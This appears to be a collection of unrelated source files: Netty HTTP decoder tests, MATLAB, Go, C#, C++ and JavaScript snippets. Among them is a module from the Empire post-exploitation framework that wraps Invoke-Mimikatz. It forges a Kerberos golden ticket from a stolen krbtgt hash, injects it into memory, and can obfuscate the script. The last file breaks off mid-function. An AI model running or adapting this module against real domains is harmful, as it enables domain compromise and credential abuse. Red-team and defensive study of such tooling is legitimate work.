        assertFalse(HttpPostRequestDecoder.isMultipart(request));

        request.headers().set(HttpHeaderNames.CONTENT_TYPE, multipartDataValue);
        assertTrue(HttpPostRequestDecoder.isMultipart(request));
    }

    // see https://github.com/netty/netty/issues/10087
    @Test
    public void testDecodeWithLanguageContentDispositionFieldParametersForFix() throws Exception {

        final String boundary = "952178786863262625034234";

        String encoding = "UTF-8";
        String filename = "测试test.txt";
        String filenameEncoded = URLEncoder.encode(filename, encoding);

        final String body = "--" + boundary + "\r\n" +
                "Content-Disposition: form-data; name=\"file\"; filename*=\"" +
                encoding + "''" + filenameEncoded + "\"\r\n" +
                "\r\n" +
                "foo\r\n" +
                "\r\n" +
                "--" + boundary + "--";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1,
                HttpMethod.POST,
                "http://localhost",
                Unpooled.wrappedBuffer(body.getBytes()));

        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        InterfaceHttpData part1 = decoder.getBodyHttpDatas().get(0);
        assertTrue("the item should be a FileUpload", part1 instanceof FileUpload);
        FileUpload fileUpload = (FileUpload) part1;
        assertEquals("the filename should be decoded", filename, fileUpload.getFilename());

        decoder.destroy();
        req.release();
    }

    @Test
    public void testDecodeFullHttpRequestWithUrlEncodedBody() throws Exception {
        byte[] bodyBytes = "foo=bar&a=b&empty=&city=%3c%22new%22%20york%20city%3e&other_city=los+angeles".getBytes();
        ByteBuf content = Unpooled.directBuffer(bodyBytes.length);
        content.writeBytes(bodyBytes);

        FullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/", content);
        HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());

        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        assertEquals(5, decoder.getBodyHttpDatas().size());

        Attribute attr = (Attribute) decoder.getBodyHttpData("foo");
        assertTrue(attr.getByteBuf().isDirect());
        assertEquals("bar", attr.getValue());

        attr = (Attribute) decoder.getBodyHttpData("a");
        assertTrue(attr.getByteBuf().isDirect());
        assertEquals("b", attr.getValue());

        attr = (Attribute) decoder.getBodyHttpData("empty");
        assertTrue(attr.getByteBuf().isDirect());
        assertEquals("", attr.getValue());

        attr = (Attribute) decoder.getBodyHttpData("city");
        assertTrue(attr.getByteBuf().isDirect());
        assertEquals("<\"new\" york city>", attr.getValue());

        attr = (Attribute) decoder.getBodyHttpData("other_city");
        assertTrue(attr.getByteBuf().isDirect());
        assertEquals("los angeles", attr.getValue());

        decoder.destroy();
        req.release();
    }

    @Test
    public void testDecodeFullHttpRequestWithUrlEncodedBodyWithBrokenHexByte0() {
        byte[] bodyBytes = "foo=bar&a=b&empty=%&city=paris".getBytes();
        ByteBuf content = Unpooled.directBuffer(bodyBytes.length);
        content.writeBytes(bodyBytes);

        FullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/", content);
        try {
            new HttpPostRequestDecoder(req);
            fail("Was expecting an ErrorDataDecoderException");
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertEquals("Invalid hex byte at index '0' in string: '%'", e.getMessage());
        } finally {
            req.release();
        }
    }

    @Test
    public void testDecodeFullHttpRequestWithUrlEncodedBodyWithBrokenHexByte1() {
        byte[] bodyBytes = "foo=bar&a=b&empty=%2&city=london".getBytes();
        ByteBuf content = Unpooled.directBuffer(bodyBytes.length);
        content.writeBytes(bodyBytes);

        FullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/", content);
        try {
            new HttpPostRequestDecoder(req);
            fail("Was expecting an ErrorDataDecoderException");
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertEquals("Invalid hex byte at index '0' in string: '%2'", e.getMessage());
        } finally {
            req.release();
        }
    }

    @Test
    public void testDecodeFullHttpRequestWithUrlEncodedBodyWithInvalidHexNibbleHi() {
        byte[] bodyBytes = "foo=bar&a=b&empty=%Zc&city=london".getBytes();
        ByteBuf content = Unpooled.directBuffer(bodyBytes.length);
        content.writeBytes(bodyBytes);

        FullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/", content);
        try {
            new HttpPostRequestDecoder(req);
            fail("Was expecting an ErrorDataDecoderException");
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertEquals("Invalid hex byte at index '0' in string: '%Zc'", e.getMessage());
        } finally {
            req.release();
        }
    }

    @Test
    public void testDecodeFullHttpRequestWithUrlEncodedBodyWithInvalidHexNibbleLo() {
        byte[] bodyBytes = "foo=bar&a=b&empty=%2g&city=london".getBytes();
        ByteBuf content = Unpooled.directBuffer(bodyBytes.length);
        content.writeBytes(bodyBytes);

        FullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/", content);
        try {
            new HttpPostRequestDecoder(req);
            fail("Was expecting an ErrorDataDecoderException");
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertEquals("Invalid hex byte at index '0' in string: '%2g'", e.getMessage());
        } finally {
            req.release();
        }
    }
}


text:
title : Business.com March 28, 2018
publishedBy : Business.com
publishedOn : March 28, 2018
link : https://www.business.com/articles/6-blockchain-uses-beyond-bitcoin/
weight: 51
articleName : 6 Blockchain Uses That Have Nothing to Do With Bitcoin
class : pressArticle
---

redpajama_set_name: RedPajamaGithub


text:
package net.ontopia.topicmaps.core;

/**
 * PUBLIC: Implemented by topic map objects that can be
 * reified. Reification means making a topic for another object (that
 * is not itself a topic) so that you can say something about it. This
 * interface is implemented by AssociationIF, AssociationRoleIF,
 * TopicNameIF, VariantNameIF, OccurrenceIF and TopicMapIF.</p>
   *
   * @since 4.0
 */

public interface ReifiableIF extends TMObjectIF {

  String EVENT_SET_REIFIER = "ReifiableIF.setReifier";

  /**
   * PUBLIC: Returns the topic that reifies this object.
   */
  TopicIF getReifier();

  /**
   * PUBLIC: Sets the reifier of this object.
   *
   * @exception DuplicateReificationException Thrown when the reifier
   *            already reifies another object.
   */
  void setReifier(TopicIF reifier) throws DuplicateReificationException;

}


text:
package de.qucosa.winibwppn;

class CannotResolveIdentifier extends Exception {
    CannotResolveIdentifier(String msg) {
        super(msg);
    }

    CannotResolveIdentifier(String msg, Exception cause) {
        super(msg, cause);
    }
}


text:
#define BOOST_PLATFORM "CloudABI"

#define BOOST_HAS_DIRENT_H
#define BOOST_HAS_STDINT_H
#define BOOST_HAS_UNISTD_H

#define BOOST_HAS_CLOCK_GETTIME
#define BOOST_HAS_EXPM1
#define BOOST_HAS_GETTIMEOFDAY
#define BOOST_HAS_LOG1P
#define BOOST_HAS_NANOSLEEP
#define BOOST_HAS_PTHREADS
#define BOOST_HAS_SCHED_YIELD


text:
%% genvar
%
% Generate VAR time series data
%
% <matlab:open('genvar.m') code>
%
%% Syntax
%
%     [X,E] = genvar(A,E,trunc)
%
%% Arguments
%
% See also <mvgchelp.html#4 Common variable names and data structures>.
%
% _input_
%
%     A          VAR coefficients matrix
%     E          residuals (single-trial) time series
%     trunc      number of initial observations to truncate (default: 0)
%
% _output_
%
%     X          VAR (single-trial) time series with residuals E
%     E          possibly truncated residuals
%
%% Description
%
% Generates a vector autoregression (VAR) time series with coefficients |A| and
% residuals |E|; implements:
%
% <<eq_varnn.png>>
%
% Initial values for the outputs |X| are set to the residuals |E|. Optionally
% truncate the first |trunc| observations.
%
% *_Note:_* If available will use the C routine <matlab:open('C/genvar_mex.c')
% |genvar_mex.c|> to perform the actual computation; otherwise a (slower)
% Matlab-coded routine is used. The existence of a |genvar| mex file for the
% current platform is checked for in the <startup.html |startup|> script.
%
%% See also
%
% <var_to_tsdata.html |var_to_tsdata|> |
% <startup.html |startup|>
%
% (C) Lionel Barnett and Anil K. Seth, 2012. See file license.txt in
% installation directory for licensing terms.
%
%%

function [X,E] = genvar(A,E,trunc)

global have_genvar_mex;

assert(isreal(A) && (ndims(A) == 2 || ndims(A) == 3), 'VAR coefficients must be a 2D or 3D matrix')
assert(isreal(E) && ndims(E) == 2, 'Residuals covariance must be a row vector or 2D matrix')

[n1,n2,p] = size(A);
[n,m] = size(E);

assert(n1 == n2, 'VAR coefficients blocks not square');
assert(n1 == n,  'Residuals covariance matrix doesn''t match VAR coefficients matrix');

if nargin < 3 || isempty(trunc)
    trunc = 0;
else
    assert(trunc >= 0 && trunc < m,'bad truncation');
end

if have_genvar_mex
    X = genvar_mex(A,E);
else
    X = E;
    for t = p+1:m
        for k = 1:p
            X(:,t) = X(:,t) + A(:,:,k)*X(:,t-k);
        end
    end
end

if trunc > 0
    X = X(:,trunc+1:m);
    if nargout > 1
        E = E(:,trunc+1:m);
    end
end


text:
package runtime

import (
	"mime"
	"net/http"

	"github.com/go-openapi/errors"
)

// ContentType parses a content type header
func ContentType(headers http.Header) (string, string, error) {
	ct := headers.Get(HeaderContentType)
	orig := ct
	if ct == "" {
		ct = DefaultMime
	}
	if ct == "" {
		return "", "", nil
	}

	mt, opts, err := mime.ParseMediaType(ct)
	if err != nil {
		return "", "", errors.NewParseError(HeaderContentType, "header", orig, err)
	}

	if cs, ok := opts[charsetKey]; ok {
		return mt, cs, nil
	}

	return mt, "", nil
}


text:
from __future__ import print_function

from builtins import object
from builtins import str

from lib.common import helpers

class Module(object):

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Invoke-Mimikatz Golden Ticket',

            'Author': ['@JosephBialek', '@gentilkiwi'],

            'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
                            "to generate a golden ticket and inject it into memory."),

            'Software': 'S0002',

            'Techniques': ['T1098', 'T1003', 'T1081', 'T1207', 'T1075', 'T1097', 'T1145', 'T1101', 'T1178'],

            'Background' : True,

            'OutputExtension' : None,

            'NeedsAdmin' : False,

            'OpsecSafe' : True,

            'Language' : 'powershell',

            'MinLanguageVersion' : '2',

            'Comments': [
                'http://clymb3r.wordpress.com/',
                'http://blog.gentilkiwi.com',
                "https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos"
            ]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                'Description'   :   'Agent to run module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'CredID' : {
                'Description'   :   'CredID from the store to use for ticket creation.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'user' : {
                'Description'   :   'Username to impersonate.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'domain' : {
                'Description'   :   'The fully qualified domain name.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'sid' : {
                'Description'   :   'The SID of the specified domain.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'sids' : {
                'Description'   :   'External SIDs to add as sidhistory to the ticket.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'id' : {
                'Description'   :   'id to impersonate, defaults to 500.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'krbtgt' : {
                'Description'   :   'krbtgt NTLM hash for the specified domain',
                'Required'      :   False,
                'Value'         :   ''
            },
            'groups' : {
                'Description'   :   'Optional comma separated group IDs for the ticket.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'endin' : {
                'Description'   :   'Lifetime of the ticket (in minutes). Default to 10 years.',
                'Required'      :   False,
                'Value'         :   ''
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value

    # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
    # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
    def get_db_connection(self):
        """
        Returns the cursor for SQLlite DB
        """
        self.lock.acquire()
        self.mainMenu.conn.row_factory = None
        self.lock.release()
        return self.mainMenu.conn

    def generate(self, obfuscate=False, obfuscationCommand=""):

        # read in the common module source code
        moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
        if obfuscate:
            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
            moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
        try:
            f = open(moduleSource, 'r')
        except:
            print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
            return ""

        moduleCode = f.read()
        f.close()

        script = moduleCode

        # if a credential ID is specified, try to parse
        credID = self.options["CredID"]['Value']
        if credID != "":

            if not self.mainMenu.credentials.is_credential_valid(credID):
                print(helpers.color("[!] CredID is invalid!"))
                return ""

            (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
            if userName != "krbtgt":
                print(helpers.color("[!] A krbtgt account must be used"))
                return ""

            if domainName != "":
                self.options["domain"]['Value'] = domainName
            if sid != "":
                self.options["sid"]['Value'] = sid
            if password != "":
                self.options["krbtgt"]['Value'] = password

        if self.options["krbtgt"]['Value'] == "":
            print(helpers.color("[!] krbtgt hash not specified"))

        # build the golden ticket command
        scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::golden"

        for option,values in self.options.items():
            if option.lower() != "agent" and option.lower() != "credid":
                if values['Value'] and values['Value'] != '':
                    scriptEnd += " /" + str(option) + ":" + str(values['Value'])

        scriptEnd += " /ptt\"'"
        if obfuscate:
            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
        script += scriptEnd
        script = helpers.keyword_obfuscation(script)

        return script


text:
namespace AspComet.Eventing
{
    /// <summary>
    ///     Raised when a client disconnects to the message bus
    /// </summary>
    public class DisconnectedEvent : IEvent
    {
        private readonly IClient client;

        /// <summary>
        ///     Initialises a new instance of the <see cref="DisconnectedEvent"/> class
        /// </summary>
        /// <param name="client"></param>
        public DisconnectedEvent(IClient client)
        {
            this.client = client;
        }

        /// <summary>
        ///     Gets the client which disconnected
        /// </summary>
        public IClient Client
        {
            get { return this.client; }
        }
    }
}


text:
#pragma once

#include "envoy/config/trace/v3/trace.pb.h"
#include "envoy/config/trace/v3/trace.pb.validate.h"

#include "extensions/tracers/common/factory_base.h"

namespace Envoy {
namespace Extensions {
namespace Tracers {
namespace Zipkin {

/**
 * Config registration for the zipkin tracer. @see TracerFactory.
 */
class ZipkinTracerFactory : public Common::FactoryBase<envoy::config::trace::v3::ZipkinConfig> {
public:
  ZipkinTracerFactory();

private:
  // FactoryBase
  Tracing::HttpTracerPtr
  createHttpTracerTyped(const envoy::config::trace::v3::ZipkinConfig& proto_config,
                        Server::Instance& server) override;
};

} // namespace Zipkin
} // namespace Tracers
} // namespace Extensions
} // namespace Envoy


text:
 var app = require('app');
 var BrowserWindow = require('browser-window');
 require('crash-reporter').start();

 var mainWindow = null;

 app.on('window-all-closed', function() {
  if (process.platform != 'darwin')
   app.quit();
 });

app.setPath("userData", __dirname + "/zDevDocsOffline");

 app.on('ready', function() {
  mainWindow = new BrowserWindow({
   width: 1200,
   height: 860,
   resizable: true,
   title: "zDevDocsOffline",
   icon: "/zDevDocsOffline.icns",
   icon: "/zDevDocsOffline.ico",
   icon: "/zDevDocsOffline.png"
  });
  mainWindow.setOverlayIcon(
   __dirname + "/zDevDocsOffline.png",
   "Test?");
  mainWindow.setTitle("zDevDocsOffline");
  mainWindow.loadUrl('file://' + __dirname + '/index.html');
  mainWindow.focus();
  mainWindow.on('closed', function() {
   mainWindow = null;
  });
  //mainWindow.toggleDevTools();
 });


text:
import {LitElement, html} from "lit";
import UtilsNew from "../../../core/utils-new.js";
import "../variant-browser-filter.js";
import "./deprecated/opencga-variant-interpretation-grid.js";
import "../interpretation/variant-interpreter-detail.js";
import "../../commons/opencga-active-filters.js";

export default class OpencgaVariantFamilyAnalysis extends LitElement {

    constructor() {
        super();
        this._init();
    }

    createRenderRoot() {
        return this;
    }
    /*
    static get properties() {
        return {
            opencgaSession: {
                type: Object
            },
            clinicalAnalysis: {
                type: Object
            },
            query: {
                type: Object
            },
            mode: {
                type: String
            },
            cellbaseClient: {
                type: Object
            },
            active: {
                type: Boolean
            },
            consequenceTypes: {
                type: Object
            },
            populationFrequencies: {
                type: Object
            },
            proteinSubstitutionScores: {
                type: Object
            },
            config: {
                type: Object
            }
        };
    }

    _init() {
        // All id fields in the template must start with prefix, this allows components to be instantiated more than once
        this._prefix = "ovdna" + UtilsNew.randomString(6) + "_";

        this.existParent = true;
        this._samples = [];
        this._sampleIds = [];
        this._individualToSampleIds = {};

        // Initially we set the default config, this will be overridden if 'config' is passed
        // this._config = this.getDefaultConfig();

        // this.mode = "interactive";
        this.active = true;
    }

    // TODO RECHECK
    // ADD FLAG to avoid repeated calls
    connectedCallback() {
        super.connectedCallback();
        // since _config.filter.menu.skipSubsections in going to be edited, a deep copy of this.config is required
        const _config = $.extend( true, this.getDefaultConfig(), this.config, {
            title: this.getDefaultConfig().title,
            tooltip: this.getDefaultConfig().tooltip
        } );
        if (this.mode !== "interactive") {
            _config.filter.skipSubsections.push("sample");
        }
        this._config = _config;
        this._addTooltip();
    }

    updated(changedProperties) {
        if (changedProperties.has("clinicalAnalysis")) {
            this.clinicalAnalysisObserver();
        }
        if (changedProperties.has("query")) {
            this.queryObserver();
        }
        if (changedProperties.has("active")) {
            this.activeObserver();
        }
    }

    firstUpdated(_changedProperties) {

    }

    clinicalAnalysisObserver() {

        console.log("clinicalAnalysisObserver", this.clinicalAnalysis);

        if (UtilsNew.isNotUndefinedOrNull(this.opencgaSession) && UtilsNew.isNotUndefinedOrNull(this.clinicalAnalysis)) {
            this._calculateSamples();

            if (this.mode !== "interactive" && UtilsNew.isNotUndefinedOrNull(this.clinicalAnalysis.roleToProband)) {
                let _existParent = false;
                //debugger;
                for (const individualId of Object.keys(this.clinicalAnalysis.roleToProband)) {
                    if (this.clinicalAnalysis.roleToProband[individualId] === "FATHER" ||
                        this.clinicalAnalysis.roleToProband[individualId] === "MOTHER") {

                        // if (UtilsNew.isNotUndefinedOrNull(this.clinicalAnalysis.files) &&
                        //     UtilsNew.isNotEmptyArray(this.clinicalAnalysis.files[this._individualToSampleIds[individualId]])) {
                        //     for (const file of this.clinicalAnalysis.files[this._individualToSampleIds[individualId]]) {
                        //
                        //         if (file.format === "VCF" && UtilsNew.isNotUndefinedOrNull(file.internal.index.status) &&
                        //             file.internal.index.status.name === "READY") {
                        //             _existParent = true;
                        //             break;
                        //         }
                        //     }
                        // }

                        _existParent = true;
                    }
                }
                this.existParent = _existParent;
            }

            // Init query objects every time there is a new session or clinical analysis
            const _query = Object.assign({}, this.query, {
                study: this.opencgaSession.study.fqn,
                includeSample: this._sampleIds.join(",")
            });
            switch (this.mode) {
                case "interactive":
                    const _genotypes = this._sampleIds.map( id => this.clinicalAnalysis.proband.samples[0].id === id ? id + ":0/1,1/1" : id + ":0/0,0/1,1/1");
                    /!*for (const sampleId of this._sampleIds) {
                        if (this.clinicalAnalysis.proband.samples[0].id === sampleId) {
                            _genotypes.push(sampleId + ":0/1,1/1");
                        } else {
                            _genotypes.push(sampleId + ":0/0,0/1,1/1");
                        }
                    }*!/
                    _query.genotype = _genotypes.join(";");
                    break;
                /!*case "compoundHeterozygous":
                // _query.biotype = "protein_coding";
                    _query.ct = "missense_variant," + this._config.filter.lof.join(",");
                    break;*!/
            }

            // Reset query when new session or clinical analysis is provided
            this.query = {...this.query, ..._query};
            //console.log("query Updated")
        }
        console.log(this.clinicalAnalysis);
        //debugger;
    }

    queryObserver() {
        if (this.query) {
            this.preparedQuery = this._prepareQuery(this.query);
            this.executedQuery = {...this.preparedQuery};
        }
        //console.log("queryObserver")
        this.requestUpdate(); // TODO apparently commenting this line and refreshing rd-interpreter sometimes causes the grid to not work.
    }

    activeObserver() {
        if (this.active) {
            // this.executedQuery = Object.assign({}, this.executedQuery);
        }
    }

    onVariantFilterChange(e) {
        this.preparedQuery = this._prepareQuery(e.detail.query);
        // console.log("onVariantFilterChange preparedQuery", this.preparedQuery)
        this.preparedQuery = {...this.preparedQuery};
        this.requestUpdate();
    }

    onVariantFilterSearch(e) {
        this.preparedQuery = this._prepareQuery(e.detail.query);
        this.executedQuery = {...this.preparedQuery};
        this.requestUpdate();
    }

    onActiveFilterChange(e) {
        // console.log("onActiveFilterChange", e.detail)
        this.query = {...e.detail};
        this.preparedQuery = {...e.detail};
        this.requestUpdate();
    }

    onActiveFilterClear() {
        this.query = {study: this.opencgaSession.study.fqn};
        this.preparedQuery = {...this.query};
        this.requestUpdate();
    }

/!*    onSampleChange(e) {
        console.error("onSampleChange")
        this.samples = e.detail.samples;
        this.dispatchEvent(new CustomEvent("samplechange", {detail: {samples: this.samples}, bubbles: true, composed: true}));
    }*!/

    onSelectVariant(e) {
        this.variant = e.detail.variant;
    }

    onCheckVariant(e) {
        this.dispatchEvent(new CustomEvent("checkvariant", {
            detail: e.detail
        }));
    }

    _prepareQuery(query) {
        let _query = Object.assign({}, query, {
            study: this.opencgaSession.study.fqn
            // includeSample: this._sampleIds.join(",")
        });

        if (this.mode === "interactive") {
            if (UtilsNew.isNotUndefinedOrNull(_query.genotype)) {
                delete _query.sample;
            } else {
                if (UtilsNew.isUndefinedOrNull(_query.sample)) {
                    _query.sample = this._sampleIds.join(",");
                }
            }
            delete _query.family;
            return _query;
        } else {
            if (UtilsNew.isNotUndefinedOrNull(this.clinicalAnalysis) && UtilsNew.isNotUndefinedOrNull(this.clinicalAnalysis.family)) {
                _query = Object.assign({}, _query, {
                    family: this.clinicalAnalysis.family.id,
                    familyDisorder: this.clinicalAnalysis.disorder.id,
                    familySegregation: this.mode,
                    familyProband: this.clinicalAnalysis.proband.samples[0].id
                });
                delete _query.genotype;
                delete _query.sample;

                if (this.mode === "compoundHeterozygous") {
                    _query.biotype = "protein_coding";
                }

                return _query;
            }
        }
    }

    _calculateSamples() {
        const _samples = [];
        const _sampleIds = [];
        const _individualToSampleIds = {};
        if (UtilsNew.isNotUndefinedOrNull(this.clinicalAnalysis.family) &&
            UtilsNew.isNotEmptyArray(this.clinicalAnalysis.family.members)) {
            this.clinicalAnalysis.family.members.forEach(individual => {
                if (UtilsNew.isNotEmptyArray(individual.samples)) {
                    _samples.push(individual.samples[0]);
                    _sampleIds.push(individual.samples[0].id);
                    _individualToSampleIds[individual.id] = individual.samples[0].id;
                }
            });
        }
        this._samples = _samples;
        this._sampleIds = _sampleIds;
        this._individualToSampleIds = _individualToSampleIds;
    }

    _addTooltip() {
        $("#" + this._prefix + "family-info-icon").qtip({
            content: {
                title: "information",
                text: this._config.tooltip
            },
            position: {
                target: "mouse",
                // my: (config !== undefined && config.position !== undefined && config.position.my !== undefined) ? config.position.my : "top left",
                adjust: {
                    x: 2, y: 2,
                    mouse: false
                }
            },
            style: {
                classes: "qtip-light qtip-rounded qtip-shadow qtip-family-class",
                width: "480px"
            },
            show: {
                delay: 250
            },
            hide: {
                fixed: true,
                delay: 300
            }
        });
    }

    getDefaultConfig() {
        switch (this.mode) {
            case "interactive":
                return {
                    title: "Interactive Variant Interpretation Analysis",
                    tooltip: `

                                        Interactive Variant analysis allows clinicians to filter
                                        variants from the left menu and perform a clinical analysis. Results can be stored as an Interpretation.

`,
                    activeFilters: {
                        alias: {
                        // Example:
                        // "region": "Region",
                        },
                        complexFields: ["genotype"],
                        hiddenFields: ["study", "includeSample"],
                        lockedFields: [
                            {id: "sample", message: "'sample' filter is mandatory in Compound Heterozygous analysis"}
                        ]
                    },
                    genomeBrowser: {
                        showTitle: false
                    }
                };
            case "compoundHeterozygous":
                return {
                    title: "Compound Heterozygous Variant Analysis",
                    tooltip: `

                                        Compound Heterozygous Variant in medical genetics is the
                                        condition of having two heterozygous recessive alleles at a particular gene locus that can cause a
                                        genetic disease in a heterozygous state, one on each chromosome of a pair. You can find more
                                        information at Wikipedia

                                        Compound Heterozygous variant analysis sets automatically the genotype
                                        and biotype (protein_coding) filters. However,
                                        you can use any other selected filter from the left menu. Note that finding Compound Heterozygous variants
                                        can take few seconds depending on the OpenCGA server installation.

`,
                    activeFilters: {
                        alias: {
                        // "region": "Region",
                        },
                        complexFields: ["genotype"],
                        hiddenFields: ["familyDisorder", "familySegregation", "familyProband", "includeSample"],
                        lockedFields: [
                            {id: "biotype", message: "'biotype' filter is mandatory in Compound Heterozygous analysis"},
                            {id: "family", message: "'biotype' filter is mandatory in Compound Heterozygous analysis"}
                        ]
                    }
                };
            case "deNovo":
                return {
                    title: "de Novo Variant Analysis",
                    tooltip: `

                                        de Novo Variant is a genetic alteration that is present
                                        for the first time in one family member as a result of a variant (or mutation) in a germ cell (egg or sperm)
                                        of one of the parents, or a variant that arises in the fertilized egg itself during early embryogenesis.

                                        de Novo variant analysis sets automatically the genotype filter.
                                        However, you can use any other selected filter from the left menu. Note that finding de Novo variants can take few seconds
                                        depending on the OpenCGA server installation.

`,
                    activeFilters: {
                        alias: {
                        // "region": "Region",
                        },
                        complexFields: ["genotype"],
                        hiddenFields: ["familyDisorder", "familySegregation", "familyProband", "includeSample"]
                    }
                };
        }
    }

    render() {
        return html`

                    ${this._config.title}

            ${this.existParent ? html`

                        <variant-browser-filter .opencgaSession="${this.opencgaSession}"
                                                .query="${this.query}"
                                                .clinicalAnalysis="${this.clinicalAnalysis}"
                                                .cellbaseClient="${this.cellbaseClient}"
                                                .populationFrequencies="${this.populationFrequencies}"
                                                .consequenceTypes="${this.consequenceTypes}"
                                                .config="${this._config.filter}"
                                                @queryChange="${this.onVariantFilterChange}"
                                                @querySearch="${this.onVariantFilterSearch}"
                                                @samplechange="${this.onSampleChange}"
                                                @inheritancemode="${this._onInheritanceMode}">
                        </variant-browser-filter>

                        <opencga-active-filters .opencgaSession="${this.opencgaSession}"
                                                .clinicalAnalysis="${this.clinicalAnalysis}"
                                                .defaultStudy="${this.opencgaSession.study.fqn}"
                                                .query="${this.preparedQuery}"
                                                .refresh="${this.executedQuery}"
                                                .filters="${this._config.filter.examples}"
                                                resource="VARIANT"
                                                .alias="${this._config.activeFilterAlias}"
                                                .genotypeSamples="${this.genotypeSamples}"
                                                .modeInheritance="${this.modeInheritance}"
                                                .config="${this._config.activeFilters}"
                                                @activeFilterChange="${this.onActiveFilterChange}"
                                                @activeFilterClear="${this.onActiveFilterClear}">

                        </opencga-active-filters>

                            <opencga-variant-interpretation-grid .opencgaSession="${this.opencgaSession}"
                                                                 .query="${this.executedQuery}"
                                                                 .clinicalAnalysis="${this.clinicalAnalysis}"
                                                                 .consequenceTypes="${this.consequenceTypes}"
                                                                 .populationFrequencies="${this.populationFrequencies}"
                                                                 .proteinSubstitutionScores="${this.proteinSubstitutionScores}"
                                                                 .config="${this.config.grid}"
                                                                 @selected="${this.onSelectedGene}"
                                                                 @selectvariant="${this.onSelectVariant}"
                                                                 @checkvariant="${this.onCheckVariant}"
                                                                 @setgenomebrowserposition="${this.onGenomeBrowserPositionChange}">
                            </opencga-variant-interpretation-grid>

                            <opencga-variant-interpretation-detail .opencgaSession="${this.opencgaSession}"
                                                                   .cellbaseClient="${this.cellbaseClient}"
                                                                   .variant="${this.variant}"
                                                                   .clinicalAnalysis="${this.clinicalAnalysis}"
                                                                   .consequenceTypes="${this.consequenceTypes}"
                                                                   .proteinSubstitutionScores="${this.proteinSubstitutionScores}"
                                                                   .config=${this.config.detail}>
                            </opencga-variant-interpretation-detail>

            ` : html`

                        ${this._config.title}  require at least one parent,
                        no parents found for proband ${this.clinicalAnalysis.proband.id}.

            `}

        `;
    }*/

}

customElements.define("opencga-variant-family-analysis", OpencgaVariantFamilyAnalysis);


text:
<?php
namespace Neos\Eel\FlowQuery\Operations;

use Neos\Eel\FlowQuery\FlowQuery;
use Neos\Flow\Annotations as Flow;

/**
 * Get the first element inside the context.
 */
class FirstOperation extends AbstractOperation
{
    /**
     * {@inheritdoc}
     *
     * @var string
     */
    protected static $shortName = 'first';

    /**
     * {@inheritdoc}
     *
     * @param FlowQuery $flowQuery the FlowQuery object
     * @param array $arguments Ignored for this operation
     * @return void
     */
    public function evaluate(FlowQuery $flowQuery, array $arguments)
    {
        $context = $flowQuery->getContext();
        if (isset($context[0])) {
            $flowQuery->setContext([$context[0]]);
        } else {
            $flowQuery->setContext([]);
        }
    }
}


text:
from twisted.internet.defer import Deferred

def got_poem(res):
    print 'Your poem is served:'
    print res

def poem_failed(err):
    print 'No poetry for you.'

d = Deferred()

# add a callback/errback pair to the chain
d.addCallbacks(got_poem, poem_failed)

# fire the chain with a normal result
d.callback('This poem is short.')

print "Finished"


text:
import { stringify, parse } from 'flatted/cjs'

/* istanbul ignore next */
const getData = (params, callback) => {
  const { cacheName, cache, firstStep, steps } = params;
  const currentStep = firstStep;
  const renderedSteps = [steps[currentStep.id]];
  const previousSteps = [steps[currentStep.id]];
  const previousStep = {};
  const unParsedCache = localStorage.getItem(cacheName);

  if (cache && unParsedCache) {
    try {
      const data = parse(unParsedCache);
      const lastStep = data.renderedSteps[data.renderedSteps.length - 1];

      if (lastStep && lastStep.end) {
        localStorage.removeItem(cacheName);
      } else {
        for (let i = 0, len = data.renderedSteps.length; i < len; i += 1) {
          const renderedStep = data.renderedSteps[i];
          // remove delay of cached rendered steps
          data.renderedSteps[i].delay = 0;
          // flag used to avoid call triggerNextStep in cached rendered steps
          data.renderedSteps[i].rendered = true;

          // an error is thrown when render a component from localStorage.
          // So it's necessary reassing the component
          if (renderedStep.component) {
            const { id } = renderedStep;
            data.renderedSteps[i].component = steps[id].component;
          }
        }

